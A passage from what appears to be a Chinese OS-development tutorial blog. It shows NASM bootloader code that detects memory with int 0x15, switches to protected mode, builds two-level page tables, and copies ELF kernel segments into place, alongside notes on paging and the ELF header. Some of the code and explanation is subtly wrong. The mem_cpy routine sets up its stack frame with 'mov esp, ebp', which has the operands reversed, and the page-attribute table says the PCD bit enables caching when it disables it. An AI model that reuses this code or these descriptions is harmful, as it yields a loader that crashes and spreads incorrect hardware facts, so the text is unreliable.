VIDEO_DESC: dd 0x80000007 ; limit=(0xbffff-0xb8000)/4k=0x7
dd DESC_VIDEO_HIGH4 ; 此时dpl为0

GDT_SIZE equ $ - GDT_BASE
GDT_LIMIT equ GDT_SIZE -1
times 60 dq 0 ; 此处预留60个描述符的空位(slot)
SELECTOR_CODE equ (0x0001<<3) + TI_GDT + RPL0 ; 相当于(CODE_DESC - GDT_BASE)/8 + TI_GDT + RPL0
SELECTOR_DATA equ (0x0002<<3) + TI_GDT + RPL0 ; 同上
SELECTOR_VIDEO equ (0x0003<<3) + TI_GDT + RPL0 ; 同上

; total_mem_bytes用于保存内存容量,以字节为单位,此位置比较好记。
; 当前偏移loader.bin文件头0x200字节,loader.bin的加载地址是0x900,
; 故total_mem_bytes内存中的地址是0xb00.将来在内核中咱们会引用此地址
total_mem_bytes dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;以下是定义gdt的指针,前2字节是gdt界限,后4字节是gdt起始地址
gdt_ptr dw GDT_LIMIT
dd GDT_BASE

;人工对齐:total_mem_bytes4字节+gdt_ptr6字节+ards_buf244字节+ards_nr2,共256字节
ards_buf times 244 db 0
ards_nr dw 0 ;用于记录ards结构体数量

loader_start:

;------- int 15h eax = 0000E820h ,edx = 534D4150h ('SMAP') 获取内存布局 -------

xor ebx, ebx ;第一次调用时,ebx值要为0
mov edx, 0x534d4150 ;edx只赋值一次,循环体中不会改变
mov di, ards_buf ;ards结构缓冲区
.e820_mem_get_loop: ;循环获取每个ARDS内存范围描述结构
mov eax, 0x0000e820 ;执行int 0x15后,eax值变为0x534d4150,所以每次执行int前都要更新为子功能号。
mov ecx, 20 ;ARDS地址范围描述符结构大小是20字节
int 0x15
jc .e820_failed_so_try_e801 ;若cf位为1则有错误发生,尝试0xe801子功能
add di, cx ;使di增加20字节指向缓冲区中新的ARDS结构位置
inc word [ards_nr] ;记录ARDS数量
cmp ebx, 0 ;若ebx为0且cf不为1,这说明ards全部返回,当前已是最后一个
jnz .e820_mem_get_loop

;在所有ards结构中,找出(base_add_low + length_low)的最大值,即内存的容量。
mov cx, [ards_nr] ;遍历每一个ARDS结构体,循环次数是ARDS的数量
mov ebx, ards_buf
xor edx, edx ;edx为最大的内存容量,在此先清0
.find_max_mem_area: ;无须判断type是否为1,最大的内存块一定是可被使用
mov eax, [ebx] ;base_add_low
add eax, [ebx+8] ;length_low
add ebx, 20 ;指向缓冲区中下一个ARDS结构
cmp edx, eax ;冒泡排序,找出最大,edx寄存器始终是最大的内存容量
jge .next_ards
mov edx, eax ;edx为总内存大小
.next_ards:
loop .find_max_mem_area
jmp .mem_get_ok

;------ int 15h ax = E801h 获取内存大小,最大支持4G ------
; 返回后, ax cx 值一样,以KB为单位,bx dx值一样,以64KB为单位
; 在ax和cx寄存器中为低16M,在bx和dx寄存器中为16MB到4G。
.e820_failed_so_try_e801:
mov ax,0xe801
int 0x15
jc .e801_failed_so_try88 ;若当前e801方法失败,就尝试0x88方法

;1 先算出低15M的内存,ax和cx中是以KB为单位的内存数量,将其转换为以byte为单位
mov cx,0x400 ;cx和ax值一样,cx用做乘数
mul cx
shl edx,16
and eax,0x0000FFFF
or edx,eax
add edx, 0x100000 ;ax只是15MB,故要加1MB
mov esi,edx ;先把低15MB的内存容量存入esi寄存器备份

;2 再将16MB以上的内存转换为byte为单位,寄存器bx和dx中是以64KB为单位的内存数量
xor eax,eax
mov ax,bx
mov ecx, 0x10000;0x10000十进制为64KB
mul ecx ;32位乘法,默认的被乘数是eax,积为64位,高32位存入edx,低32位存入eax.
add esi,eax;由于此方法只能测出4G以内的内存,故32位eax足够了,edx肯定为0,只加eax便可
mov edx,esi;edx为总内存大小
jmp .mem_get_ok

;----------------- int 15h ah = 0x88 获取内存大小,只能获取64M之内 ----------
.e801_failed_so_try88:
;int 15后,ax存入的是以kb为单位的内存容量
mov ah, 0x88
int 0x15
jc .error_hlt
and eax,0x0000FFFF

;16位乘法,被乘数是ax,积为32位.积的高16位在dx中,积的低16位在ax中
mov cx, 0x400 ;0x400等于1024,将ax中的内存容量换为以byte为单位
mul cx
shl edx, 16 ;把dx移到高16位
or edx, eax ;把积的低16位组合到edx,为32位的积
add edx,0x100000 ;0x88子功能只会返回1MB以上的内存,故实际内存大小要加上1MB

.mem_get_ok:
mov [total_mem_bytes], edx ;将内存换为byte单位后存入total_mem_bytes处。


;----------------- 准备进入保护模式 -------------------
;1 打开A20
;2 加载gdt
;3 将cr0的pe位置1

;----------------- 打开A20 ----------------
in al,0x92
or al,0000_0010B
out 0x92,al

;----------------- 加载GDT ----------------
lgdt [gdt_ptr]

;----------------- cr0第0位置1 ----------------
mov eax, cr0
or eax, 0x00000001
mov cr0, eax

jmp dword SELECTOR_CODE:p_mode_start ; 刷新流水线,避免分支预测的影响,这种cpu优化策略,最怕jmp跳转,
; 这将导致之前做的预测失效,从而起到了刷新的作用。
.error_hlt: ;出错则挂起
hlt

[bits 32]
p_mode_start:
mov ax, SELECTOR_DATA
mov ds, ax
mov es, ax
mov ss, ax
mov esp,LOADER_STACK_TOP
mov ax, SELECTOR_VIDEO
mov gs, ax

mov byte [gs:160], 'P'

jmp $

mbr.S中也需要修改一处内容,我们跳转的内容要加上0x300,原因是在 loader.S 中loader_start计算如下

(4个段描述符 + 60个段描述符槽位) * 8字节 = total_mem_bytes_offset

(4 + 60) * 8 = 512 = 0x200

total_mem_bytes + gdt_ptr + ards_buf + adrs_nr + total_mem_bytes_offset = loader_start

4 + 6 + 244 + 2 + 0x200 = 0x300

修改片断如下

1
2
3
4
5
6
7
8
9
10
[...] 
mov eax,LOADER_START_SECTOR
mov bx,LOADER_BASE_ADDR
mov cx,4
call rd_disk_m_16

jmp LOADER_BASE_ADDR+0x300 ; 这里

rd_disk_m_16:
[...]

运行结果如下,这里我们用xp 0xb00查看我们的结果,0x02000000换算过来刚好是我们bochsrc.disk中 megs 设置的32MB大小

image-20200508083919353

启动分页机制

  分页机制是当物理内存不足时,或者内存碎片过多无法容纳新进程等情况的一种应对措施。假如说此时未开启分页功能,而物理内存空间又不足,如下图所示,此时线性地址和物理地址一一对应,没有满足进程C的内存大小,可以选择等待进程B或者A执行完获得连续的内存空间,也可以将A3或者B1段换到硬盘上,腾出一部分空间,然而这些IO操作过多会使机器响应速度很慢,用户体验很差。

image-20200508083919353

出现这种情况的本质其实是在分段机制下,线性地址等价于物理地址。那么即使在进程B的下面还有10M的可用空间,但因为两块可用空间并不连续,所以进程C无法使用进程B下面的10M可用空间。

按照这种思路,只需要通过某种映射关系,将线性地址映射到任意的物理地址,就可以解决这种问题了。实现线性地址的连续,而物理地址不需要连续,于是分页机制就诞生了。

一级页表

  在保护模式下寻址依旧是通过段基址:段内偏移组成的线性地址,计算出线性地址后再通过判断分页位是否打开,若打开则开启分页机制进行检索,如下图所示

image-20200508083919353

分页机制的作用有

  • 将线性地址转换成物理地址
  • 用大小相等的页代替大小不等的段

分页机制的作用如下图所示,分页机制来映射的线性地址便是我们经常说的虚拟地址

image-20200508083919353

因为页大小 * 页数量 = 4GB,想要减少页表的大小,只能增加一页的大小。最终通过数学求极限,定下4KB为最佳页大小。页表将线性地址转换成物理地址的过程总结如下图,首先通过计算线性地址高20位索引出页表中的基址,然后加上低12位计算出最终的物理地址,下图中0x9234即是最终的物理地址

image-20200508083919353

二级页表

  无论是几级页表,标准页的尺寸都是4KB。所以4GB的线性地址空间最多有1M个标准页。一级页表是将这1M个标准页放置到一张页表中,二级页表是将这1M个标准页平均放置1K个页表中,每个页表包含有1K个页表项。页表项是4字节大小,页表包含1K个页表项,故页表的大小同样为4KB,刚好为一页。

为了管理页表的物理地址,专门有一个页目录表来存放这些页表。页目录表中存储的页表称为页目录项(PDE),页目录项同样为4KB,且最多有1K个页目录项,所以页目录表也是4KB,如下图所示

image-20200508083919353

二级页表中虚拟地址到物理地址的转换也有很大的变化,具体步骤如下

  • 用虚拟地址的高 10 位乘以 4,作为页目录表内的偏移地址,加上页目录表的物理地址,所得的和,便是页目录项的物理地址。读取该页目录项,从中获取到页表的物理地址。
  • 用虚拟地址的中间 10 位乘以 4,作为页表内的偏移地址,加上在第 1 步中得到的页表物理地址,所得的和,便是页表项的物理地址。读取该页表项,从中获取到分配的物理页地址。
  • 虚拟地址的高 10 位和中间 10 位分别是 PDE PIE 的索引值,所以它们需要乘以 4。但低 12 位就不是索引值了,其表示的范围是 0~0xfff,作为页内偏移最合适,所以虚拟地址的低 12 位加上第二步中得到的物理页地址,所得的和便是最终转换的物理地址。

还是用书中的图最直观,下图表示mov ax, [0x1234567]的转换过程,可以发现cr3寄存器其实指向的是页目录表基地址

image-20200508083919353

PDE和PTE的结构如下图所示

image-20200508083919353

从右到左各属性总结如下表

属性位意义
P存在位,为1时表示该页在物理内存中,为0表示不在物理内存中
RW读写位,为1时可读可写,为0是可读不可写
US特权位,为1时表示处于普通用户,0~3特权级可访问,为0表示超级用户,0~2特权级可访问
PWT页级通写位,为1表示此项采用通写方式,表示该页不仅是普通内存,还是高速缓存
PCD页级高速缓存禁止位,为1表示该页启用高速缓存
A访问位,为1表示该页被CPU访问过
D脏页位,当CPU对一个页面执行写操作,此为被赋1
PAT页属性表位,能够在页面一级的粒度上设置内存属性
G全局位,为1表示该页在高速缓存TLB中一直保存
AVL表示软件,系统可用该位,和CPU无关

总结这些步骤,我们启用分页机制需要做的事情如下

  1. 准备好页目录表及页表
  2. 将页表地址写入控制寄存器cr3
  3. 寄存器cr0的PG位置1

下面是创建页目录及页表的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
; 创建页目录及页表
setup_page:
; 先把页目录占用的空间逐字节清零
mov ecx, 4096
mov esi, 0
.clear_page_dir:
mov byte [PAGE_DIR_TABLE_POS + esi], 0
inc esi
loop .clear_page_dir

; 开始创建页目录项(PDE)
.create_pde: ; 创建PDE
mov eax, PAGE_DIR_TABLE_POS
add eax, 0x1000 ; 此时eax为第一个页表的位置及属性
mov ebx, eax ; 此处为ebx赋值,是为.create_pte做准备,ebx为基址

; 下面将页目录项0和0xc00都存为第一个页表的地址,每个页表表示4MB内存
; 这样0xc03fffff以下的地址和0x003fffff以下的地址都指向相同的页表
; 这是为将地址映射为内核地址做准备
or eax, PG_US_U | PG_RW_W | PG_P ; 页目录项的属性RW和P位为1,US为1,表示用户属性,所有特权级别都可以访问.
mov [PAGE_DIR_TABLE_POS + 0x0], eax ; 第1个目录项,在页目录表中的第1个目录项写入第一个页表的位置(0x101000)及属性(7)
mov [PAGE_DIR_TABLE_POS + 0xc00], eax ; 一个页表项占用四字节
; 0xc00表示第768个页表占用的目录项,0xc00以上的目录项用于内核空间
; 也就是页表的0xc0000000~0xffffffff这1G属于内核
; 0x0~0xbfffffff这3G属于用户进程
sub eax, 0x1000
mov [PAGE_DIR_TABLE_POS + 4092], eax ; 使最后一个目录项指向页目录表自己的地址

; 下面创建页表项(PTE)
mov ecx, 256; 1M低端内存 / 每页大小 4K = 256
mov esi, 0
mov edx, PG_US_U | PG_RW_W | PG_P; 属性为7
.create_pte:; 创建PTE
mov [ebx+esi*4], edx ; 此时的edx为0x101000,也就是第一个页表的地址
add edx, 4096
inc esi
loop .create_pte

; 创建内核其他页表的PDE
mov eax, PAGE_DIR_TABLE_POS
add eax, 0x2000; 此时eax为第二个页表的位置
or eax, PG_US_U | PG_RW_W | PG_P; 属性为7
mov ebx, PAGE_DIR_TABLE_POS
mov ecx, 254; 范围为第769~1022的所有目录项数量
mov esi, 769
.create_kernel_pde:
mov [ebx+esi*4], eax
inc esi
add eax, 0x1000
loop .create_kernel_pde
ret

在boot.inc中添加如下信息

1
2
3
4
5
6
7
8
; loader 和 kernel
PAGE_DIR_TABLE_POS equ 0x100000
; 页表相关属性
PG_P equ 1b
PG_RW_R equ 00b
PG_RW_W equ 10b
PG_US_S equ 000b
PG_US_U equ 100b

进行完第一步的内容,之后的操作相对就简单了,将页表地址写入控制寄存器cr3寄存器和将cr0的PG位置1的操作整合起来的loader.S如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
%include "boot.inc"
section loader vstart=LOADER_BASE_ADDR
LOADER_STACK_TOP equ LOADER_BASE_ADDR

;构建gdt及其内部的描述符
GDT_BASE: dd 0x00000000
dd 0x00000000

CODE_DESC: dd 0x0000FFFF
dd DESC_CODE_HIGH4

DATA_STACK_DESC: dd 0x0000FFFF
dd DESC_DATA_HIGH4

VIDEO_DESC: dd 0x80000007 ; limit=(0xbffff-0xb8000)/4k=0x7
dd DESC_VIDEO_HIGH4 ; 此时dpl为0

GDT_SIZE equ $ - GDT_BASE
GDT_LIMIT equ GDT_SIZE -1
times 60 dq 0 ; 此处预留60个描述符的空位(slot)
SELECTOR_CODE equ (0x0001<<3) + TI_GDT + RPL0 ; 相当于(CODE_DESC - GDT_BASE)/8 + TI_GDT + RPL0
SELECTOR_DATA equ (0x0002<<3) + TI_GDT + RPL0 ; 同上
SELECTOR_VIDEO equ (0x0003<<3) + TI_GDT + RPL0 ; 同上

; total_mem_bytes用于保存内存容量,以字节为单位,此位置比较好记。
; 当前偏移loader.bin文件头0x200字节,loader.bin的加载地址是0x900,
; 故total_mem_bytes内存中的地址是0xb00.将来在内核中咱们会引用此地址
total_mem_bytes dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;以下是定义gdt的指针,前2字节是gdt界限,后4字节是gdt起始地址
gdt_ptr dw GDT_LIMIT
dd GDT_BASE

;人工对齐:total_mem_bytes4字节+gdt_ptr6字节+ards_buf244字节+ards_nr2,共256字节
ards_buf times 244 db 0
ards_nr dw 0 ;用于记录ards结构体数量

loader_start:

;------- int 15h eax = 0000E820h ,edx = 534D4150h ('SMAP') 获取内存布局 -------

xor ebx, ebx ;第一次调用时,ebx值要为0
mov edx, 0x534d4150 ;edx只赋值一次,循环体中不会改变
mov di, ards_buf ;ards结构缓冲区
.e820_mem_get_loop: ;循环获取每个ARDS内存范围描述结构
mov eax, 0x0000e820 ;执行int 0x15后,eax值变为0x534d4150,所以每次执行int前都要更新为子功能号。
mov ecx, 20 ;ARDS地址范围描述符结构大小是20字节
int 0x15
jc .e820_failed_so_try_e801 ;若cf位为1则有错误发生,尝试0xe801子功能
add di, cx ;使di增加20字节指向缓冲区中新的ARDS结构位置
inc word [ards_nr] ;记录ARDS数量
cmp ebx, 0 ;若ebx为0且cf不为1,这说明ards全部返回,当前已是最后一个
jnz .e820_mem_get_loop

;在所有ards结构中,找出(base_add_low + length_low)的最大值,即内存的容量。
mov cx, [ards_nr] ;遍历每一个ARDS结构体,循环次数是ARDS的数量
mov ebx, ards_buf
xor edx, edx ;edx为最大的内存容量,在此先清0
.find_max_mem_area: ;无须判断type是否为1,最大的内存块一定是可被使用
mov eax, [ebx] ;base_add_low
add eax, [ebx+8] ;length_low
add ebx, 20 ;指向缓冲区中下一个ARDS结构
cmp edx, eax ;冒泡排序,找出最大,edx寄存器始终是最大的内存容量
jge .next_ards
mov edx, eax ;edx为总内存大小
.next_ards:
loop .find_max_mem_area
jmp .mem_get_ok

;------ int 15h ax = E801h 获取内存大小,最大支持4G ------
; 返回后, ax cx 值一样,以KB为单位,bx dx值一样,以64KB为单位
; 在ax和cx寄存器中为低16M,在bx和dx寄存器中为16MB到4G。
.e820_failed_so_try_e801:
mov ax,0xe801
int 0x15
jc .e801_failed_so_try88 ;若当前e801方法失败,就尝试0x88方法

;1 先算出低15M的内存,ax和cx中是以KB为单位的内存数量,将其转换为以byte为单位
mov cx,0x400 ;cx和ax值一样,cx用做乘数
mul cx
shl edx,16
and eax,0x0000FFFF
or edx,eax
add edx, 0x100000 ;ax只是15MB,故要加1MB
mov esi,edx ;先把低15MB的内存容量存入esi寄存器备份

;2 再将16MB以上的内存转换为byte为单位,寄存器bx和dx中是以64KB为单位的内存数量
xor eax,eax
mov ax,bx
mov ecx, 0x10000;0x10000十进制为64KB
mul ecx ;32位乘法,默认的被乘数是eax,积为64位,高32位存入edx,低32位存入eax.
add esi,eax;由于此方法只能测出4G以内的内存,故32位eax足够了,edx肯定为0,只加eax便可
mov edx,esi;edx为总内存大小
jmp .mem_get_ok

;----------------- int 15h ah = 0x88 获取内存大小,只能获取64M之内 ----------
.e801_failed_so_try88:
;int 15后,ax存入的是以kb为单位的内存容量
mov ah, 0x88
int 0x15
jc .error_hlt
and eax,0x0000FFFF

;16位乘法,被乘数是ax,积为32位.积的高16位在dx中,积的低16位在ax中
mov cx, 0x400 ;0x400等于1024,将ax中的内存容量换为以byte为单位
mul cx
shl edx, 16 ;把dx移到高16位
or edx, eax ;把积的低16位组合到edx,为32位的积
add edx,0x100000 ;0x88子功能只会返回1MB以上的内存,故实际内存大小要加上1MB

.mem_get_ok:
mov [total_mem_bytes], edx ;将内存换为byte单位后存入total_mem_bytes处。


;----------------- 准备进入保护模式 -------------------
;1 打开A20
;2 加载gdt
;3 将cr0的pe位置1

;----------------- 打开A20 ----------------
in al,0x92
or al,0000_0010B
out 0x92,al

;----------------- 加载GDT ----------------
lgdt [gdt_ptr]

;----------------- cr0第0位置1 ----------------
mov eax, cr0
or eax, 0x00000001
mov cr0, eax

jmp dword SELECTOR_CODE:p_mode_start ; 刷新流水线,避免分支预测的影响,这种cpu优化策略,最怕jmp跳转,
; 这将导致之前做的预测失效,从而起到了刷新的作用。
.error_hlt: ;出错则挂起
hlt

[bits 32]
p_mode_start:
mov ax, SELECTOR_DATA
mov ds, ax
mov es, ax
mov ss, ax
mov esp,LOADER_STACK_TOP
mov ax, SELECTOR_VIDEO
mov gs, ax

; 创建页目录及页表并初始化内存位图
call setup_page

; 要将描述符表地址及偏移量写入内存gdt_ptr,一会儿用新地址重新加载
sgdt [gdt_ptr] ; 储存到原来gdt所有位置

; 将gdt描述符中视频段描述符中的段基址+0xc0000000
mov ebx, [gdt_ptr + 2] ; gdt地址
or dword [ebx + 0x18 + 4], 0xc0000000
; 视频段是第3个段描述符,每个描述符是8字节,故0x18
; 段描述符的高4字节的最高位是段基址的第31~24位

; 将gdt的基址加上0xc0000000使其成为内核所在的高地址
add dword [gdt_ptr + 2], 0xc0000000
add esp, 0xc0000000 ; 将栈指针同样映射到内核地址

; 把页目录地址赋给cr3
mov eax, PAGE_DIR_TABLE_POS
mov cr3, eax

; 打开cr0的pg位(第31位)
mov eax, cr0
or eax, 0x80000000
mov cr0, eax

; 在开启分页后,用gdt新的地址重新加载
lgdt [gdt_ptr] ; 重新加载

mov byte [gs:160], 'V'
; 视频段段基址已经被更新,用字符V表示virtual addr
jmp $

;------------- 创建页目录及页表 ---------------
; 创建页目录以及页表
setup_page:
; 页目录表占据4KB空间,清零之
mov ecx, 4096
mov esi, 0
.clear_page_dir:
mov byte [PAGE_DIR_TABLE_POS + esi], 0
inc esi
loop .clear_page_dir

; 创建页目录表(PDE)
.create_pde:
mov eax, PAGE_DIR_TABLE_POS
; 0x1000为4KB,加上页目录表起始地址便是第一个页表的地址
add eax, 0x1000
mov ebx, eax

; 设置页目录项属性
or eax, PG_US_U | PG_RW_W | PG_P
; 设置第一个页目录项
mov [PAGE_DIR_TABLE_POS], eax
; 第768(内核空间的第一个)个页目录项,与第一个相同,这样第一个和768个都指向低端4MB空间
mov [PAGE_DIR_TABLE_POS + 0xc00], eax
; 最后一个表项指向自己,用于访问页目录本身
sub eax, 0x1000
mov [PAGE_DIR_TABLE_POS + 4092], eax

; 创建页表
mov ecx, 256
mov esi, 0
mov edx, PG_US_U | PG_RW_W | PG_P
.create_pte:
mov [ebx + esi * 4], edx
add edx, 4096
inc esi
loop .create_pte

; 创建内核的其它PDE
mov eax, PAGE_DIR_TABLE_POS
add eax, 0x2000
or eax, PG_US_U | PG_RW_W | PG_P
mov ebx, PAGE_DIR_TABLE_POS
mov ecx, 254
mov esi, 769
.create_kernel_pde:
mov [ebx + esi * 4], eax
inc esi
add eax, 0x1000
loop .create_kernel_pde
ret

编译运行,其中编译count的参数根据实际大小调整,这里我编译设置的是3,运行结果如下图,其中红框中gdt段基址已经修改为大于0xc0000000,也就是3GB之上的内核地址空间,通过info tab可查看地址映射关系,其中箭头左边是虚拟地址,右边是对应的物理地址

image-20200508083919353

总结虚拟地址获取物理地址的过程:

先要从 CR3 寄存器中获取页目录表物理地址,然后用虚拟地址的高 10 位乘以 4 的积作为在页目录表中的偏移量去寻址目录项 pde ,从 pde 中读出页表物理地址,然后再用虚拟地址的中间 10 位乘以 4 的积作为在该页表中的偏移量去寻址页表项 pte,从该 pte 中读出页框物理地址,用虚拟地址的低 12 位作为该物理页框的偏移量。

快表TLB

  因为从虚拟地址映射到物理地址确实比较麻烦,所以为了提高效率,intel自然想得到用一个缓存装置TLB。结构如下,更新TLB的方法有两种,重新加载CR3和指令invlpg m,其中m表示操作数为虚拟内存地址,如更新虚拟地址0x1234对应的条目指令为invlpg [0x1234]

虚拟地址高20位(虚拟页框号)属性位物理地址高20位(物理页框号)

ELF格式浅析

我们下一步的目标是在内核中使用C语言,因为C语言是高级语言,在内核中的C语言用gcc编译需要指定很多参数,避免编译器添加许多不必要的函数。然而在Linux下C语言编译而成的可执行文件格式为ELF,想在我们的内核中运行ELF程序首先需要对其进行解析,下面简单介绍一下ELF文件格式,ELF文件格式分为文件头和文件体部分,文件头存放程序中其他的一些头表信息,文件体则具体的对这些表进行描述。ELF格式的作用体现在链接阶段和运行阶段两个方面,其布局如下图所示

image-20200508083919353

其中elf header的结构如下所示,这里的很多结构都来自Linux源码/usr/include/elf.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* 32位elf头 */
struct Elf32_Ehdr
{
unsigned char e_ident[16];
Elf32_Half e_type;
Elf32_Half e_machine;
Elf32_Word e_version;
Elf32_Addr e_entry;
Elf32_Off e_phoff;
Elf32_Off e_shoff;
Elf32_Word e_flags;
Elf32_Half e_ehsize;
Elf32_Half e_phentsize;
Elf32_Half e_phnum;
Elf32_Half e_shentsize;
Elf32_Half e_shnum;
Elf32_Half e_shstrndx;
};

其中的一些数据类型如下

数据类型名称字节大小对齐意义
Elf32_Half22无符号中等大小的整数
Elf32_Word44无符号大整数
Elf32_Addr44无符号程序运行地址
Elf32_Off44无符号的文件偏移量

下面介绍一些关键成员,其中e_ident[16]数组功能如下,其大小是16字节,存放一些文件属性信息

e_type占用2字节,指定 elf 目标文件的类型

elf目标文件类型取值意义
ET_NONE0未知目标文件格式
ET_REL1可重定位文件
ET_EXEC2可执行文件
ET_DYN3动态共享目标文件
ET_CORE4core文件,即程序崩溃时其内存映像的转储格式
ET_LOPROC0xff00特定处理器文件的扩展下边界
ET_HIPROC0xffff特定处理器文件的扩展上边界

剩下的一些字段如下,想更具体了解的可以自己百度

字段大小(字节)意义
e_machine2支持的硬件平台
e_version4表示版本信息
e_entry4操作系统运行该程序时,将控制权转交到的虚拟地址
e_phoff4程序头表在文件内的字节偏移量。如果没有程序头表,该值为0
e_shoff4节头表在文件内的字节偏移量。若没有节头表,该值为0
e_flags4与处理器相关的标志
e_ehsize2指明 elf header 的字节大小
e_phentsize2指明程序头表(program header table )中每个条目(entry)的字节大小
e_phnum2指明程序头表中条目的数量。实际上就是段的个数
e_shentsize2节头表中每个条目的字节大小,即每个用来描述节信息的数据结构的字节大小
e_shnum2指明节头表中条目的数量。实际上就是节的个数
e_shstrndx2指明 string name table 在节头表中的索引 index

下面再介绍一下Elf32_Phdr结构,此段是指程序中的某个数据或代码的区域段落,例如代码段或数据段,这个段不是内存中的段,此段是磁盘上程序中的一个段,下面是其结构

1
2
3
4
5
6
7
8
9
10
11
struct Elf32_Phdr
{
Elf32_Word p_type;
Elf32_Off p_offset;
Elf32_Addr p_vaddr;
Elf32_Addr p_paddr;
Elf32_Word p_filesz;
Elf32_Word p_memsz;
Elf32_Word p_flags;
Elf32_Word p_align;
};

各个字段的意义如下表

字段意义
p_type段类型
p_offset本段在文件的偏移量
p_vaddr本段在内存中起始的虚拟地址
p_paddr仅用于与物理地址相关的系统中
p_filesz本段在文件中的大小
p_memsz本段在内存中的大小
p_flags本段相关的标志
p_align本段在文件和内存中的对齐方式

载入内核

  Linux下可以用readelf命令解析ELF文件,下面是我们在kernel目录下新添加的测试代码,因为是64位操作系统,编译命令需要如下修改,我们下一步就是将这个简单的elf文件加载入内核,物理内存中0x900是loader.bin的加载地址,其开始部分是不能覆盖的GDT,预计其大小是小于2000字节,保守起见这里选起始的物理地址为0x1500,所以链接命令指定虚拟起始地址0xc0001500

下面通过dd命令将其写入磁盘,为了不纠结count的赋值,这里直接赋值为200,seek赋值为9,写在第9扇区

1
sudo dd if=./kernel.bin of=/home/guang/soft/bochs-2.6.2/bin/hd60M.img bs=512 count=200 seek=9 conv=notrunc

写完之后我们需要修改loader.S中的内容,分两步完成

  • 加载内核:内核文件加载到内存缓冲区
  • 初始化内核:需要在分页后,将加载进来的elf内核文件安置到相应的虚拟内存地址,然后跳过去执行,从此loader的工作结束

内核的加载地址选取的是0x7e00~0x9fbff范围中的0x70000,添加如下片断

1
2
3
4
5
6
7
8
9
10
; ------------------ 加载内核 ------------------
mov eax, KERNEL_START_SECTOR ; kernel.bin所在的扇区号0x9
mov ebx, KERNEL_BIN_BASE_ADDR ; 0x70000
; 从磁盘读出后,写入到ebx指定的地址
mov ecx, 200 ; 读入的扇区数

call rd_disk_m_32 ; eax,ebx,ecx均为参数,从硬盘上读取数据

; 创建页目录及页表并初始化页内存位图
call setup_page

下一步是初始化内核的工作,我们需要遍历kernel.bin程序中所有的段,因为它们才是程序运行的实质指令和数据的所在地,然后将各段拷贝到自己被编译的虚拟地址中,如下添加的是在loader.S中的内容,注释已经很详细了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
   ; -------------------------   加载kernel  ----------------------
[略...]
; 打开cr0的pg位(第31位)
mov eax, cr0
or eax, 0x80000000
mov cr0, eax

; 在开启分页后,用gdt新的地址重新加载
lgdt [gdt_ptr] ; 重新加载

jmp SELECTOR_CODE:enter_kernel ; 强制刷新流水线,更新gdt,不刷新也可以
enter_kernel:
call kernel_init
mov esp, 0xc009f000 ;进入内核之后栈也要修改
jmp KERNEL_ENTRY_POINT ; 用地址0x1500访问测试,结果ok
;----------将kernel.bin中的segment拷贝到编译的地址----------
kernel_init:
xor eax, eax
xor ebx, ebx; 记录程序头表地址
xor ecx, ecx; cx记录程序头表中的program header数量
xor edx, edx; dx记录program header尺寸,即e_phentsize

mov dx, [KERNEL_BIN_BASE_ADDR + 42] ; 偏移文件42字节处的属性是e_phentsize,表示program header大小
mov ebx, [KERNEL_BIN_BASE_ADDR + 28] ; 偏移文件开始部分28字节的地方是e_phoff,表示第1个program header在文件中的偏移量

add ebx, KERNEL_BIN_BASE_ADDR
mov cx, [KERNEL_BIN_BASE_ADDR + 44] ; 偏移文件开始部分44字节的地方是e_phnum,表示有几个program header
.each_segment:
cmp byte [ebx + 0], PT_NULL ; 若p_type等于 PT_NULL,说明此program header未使用。
je .PTNULL

;为函数memcpy压入参数,参数是从右往左依然压入.函数原型类似于 memcpy(dst,src,size)
push dword [ebx + 16] ; program header中偏移16字节的地方是p_filesz,压入函数memcpy的第三个参数:size
mov eax, [ebx + 4] ; 距程序头偏移量为4字节的位置是p_offset
add eax, KERNEL_BIN_BASE_ADDR ; 加上kernel.bin被加载到的物理地址,eax为该段的物理地址
push eax
push dword [ebx + 8] ; 压入函数memcpy的第一个参数:目的地址,偏移程序头8字节的位置是p_vaddr,这就是目的地址
call mem_cpy ; 调用mem_cpy完成段复制
add esp,12 ; 清理栈中压入的三个参数, 3 * 4 = 12 字节
.PTNULL:
add ebx, edx ; edx为program header大小,即e_phentsize,在此ebx指向下一个program header
loop .each_segment
ret

;---------- 逐字节拷贝 mem_cpy(dst,src,size) ------------
;输入:栈中三个参数(dst,src,size)
;输出:无
;---------------------------------------------------------
mem_cpy:
cld ; 控制重复字符递增方式,也就是edi和esi每复制一次就加一个单位大小,相对的指令为std
push ebp
mov esp, ebp
push ecx ; rep指令用到了ecx,但ecx对于外层段的循环还有用,故先入栈备份
mov edi, [ebp + 8] ; dst
mov esi, [ebp + 12] ; src
mov ecx, [ebp + 16] ; size
rep movsb ; 逐字节拷贝,直到ecx为0

; 恢复环境
pop ecx
pop ebp
ret

最终的一个内存布局如下,参考之前的1MB实模式地址图来对应就明白了

特权管理

